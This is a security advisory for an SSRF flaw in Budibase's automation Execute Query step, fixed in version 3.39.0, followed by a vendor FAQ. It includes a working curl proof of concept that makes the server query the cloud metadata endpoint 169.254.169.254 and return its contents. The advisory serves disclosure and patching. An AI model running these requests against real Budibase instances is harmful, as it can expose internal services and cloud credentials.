CVE-2026-48128

The executeQuery automation step in Budibase accepts a queryId from automation step inputs and passes it directly to the query execution controller without additional validation. When combined with a REST datasource configured to target internal infrastructure, this creates a server-side request forgery path where automation execution causes the Budibase server to make outbound HTTP requests to attacker-influenced destinations. The automation output then returns the response, potentially exposing internal service data.

Details

Inside the execute query automation step, the queryId value and any additional query parameters from inputs.query are assembled into a request context and forwarded to queryController.executeV2AsAutomation. The constructed context looks like the following:

const ctx: any = buildCtx(appId, emitter, {
  body: {
    parameters: rest,
  },
  params: {
    queryId,
  },
  user: context.user,
})

No validation is performed to confirm that the referenced query is appropriate for automation use, that the associated datasource targets an allowlisted destination, or that the supplied parameters do not override security-sensitive fields. The context.user value is also forwarded directly from automation context into the request, which may allow caller identity to be influenced by automation binding inputs.

To reach exploitation, an attacker needs builder-level access to the Budibase application. With that access, they can create a REST datasource with a base URL pointing to an internal network endpoint such as a cloud metadata service, create a query against that datasource, and then create an automation whose Execute Query step references that query. When the automation is triggered, the Budibase server issues the HTTP request originating from its own network context, and the response is captured in the automation output.

The key limitation, reflected in the revised severity, is that builder access already permits direct datasource configuration. A builder can configure a REST datasource and test it directly without involving the automation layer at all. The automation execute query path therefore does not provide a meaningful privilege escalation beyond what a builder role already permits. The finding is technically valid as an SSRF condition but the preconditions required to exploit it are equivalent to the preconditions for directly interacting with datasources.

PoC

curl -s -X POST "$BUDIBASE_HOST/api/datasources" \
  -H "Cookie: $SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -d '{
    "datasource": {
      "name": "internal-meta",
      "type": "REST",
      "source": "REST",
      "config": {
        "url": "http://169.254.169.254",
        "rejectUnauthorized": false,
        "defaultHeaders": {}
      }
    }
  }'

curl -s -X POST "$BUDIBASE_HOST/api/queries" \
  -H "Cookie: $SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -d "{
    \"datasourceId\": \"$DATASOURCE_ID\",
    \"name\": \"meta-probe\",
    \"queryVerb\": \"read\",
    \"fields\": {
      \"path\": \"/latest/meta-data/\",
      \"queryString\": \"\",
      \"headers\": {},
      \"requestBody\": \"\"
    },
    \"parameters\": [],
    \"transformer\": \"return data\",
    \"schema\": {}
  }"

curl -s -X POST "$BUDIBASE_HOST/api/automations" \
  -H "Cookie: $SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -d "{
    \"name\": \"ssrf-test\",
    \"definition\": {
      \"trigger\": {
        \"event\": \"app:trigger\",
        \"stepId\": \"APP\",
        \"inputs\": {},
        \"schema\": {\"inputs\": {\"properties\": {}, \"required\": []}},
        \"type\": \"TRIGGER\",
        \"id\": \"trigger1\"
      },
      \"steps\": [
        {
          \"stepId\": \"EXECUTE_QUERY\",
          \"inputs\": {
            \"query\": {
              \"queryId\": \"$QUERY_ID\"
            }
          },
          \"schema\": {},
          \"type\": \"ACTION\",
          \"id\": \"step1\"
        }
      ]
    }
  }"

curl -s -X POST "$BUDIBASE_HOST/api/automations/$AUTOMATION_ID/trigger" \
  -H "Cookie: $SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -d '{}'

An authenticated user with builder-level access to a Budibase application can cause the Budibase server to issue HTTP requests to internal network endpoints, including cloud instance metadata services, by configuring a REST datasource targeting those endpoints and referencing the resulting query from an automation Execute Query step. Response content from the internal service is returned in the automation run output. Because builder access already permits direct datasource configuration and testing, this path does not represent a meaningful escalation of privilege beyond the builder role. The practical impact is limited to environments where builder access is granted to partially trusted users and where network-level controls do not restrict outbound HTTP from the Budibase server process.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

Kodem intelligence

1. What is CVE-2026-48128? CVE-2026-48128 is a medium-severity server-side request forgery (SSRF) vulnerability in budibase (npm), affecting versions < 3.39.0. It is fixed in 3.39.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. Which versions of budibase are affected by CVE-2026-48128? budibase (npm) versions < 3.39.0 is affected.
3. Is there a fix for CVE-2026-48128? Yes. CVE-2026-48128 is fixed in 3.39.0. Upgrade to this version or later.
4. Is CVE-2026-48128 exploitable, and should I be worried? Whether CVE-2026-48128 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-48128 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-48128? Upgrade budibase to 3.39.0 or later.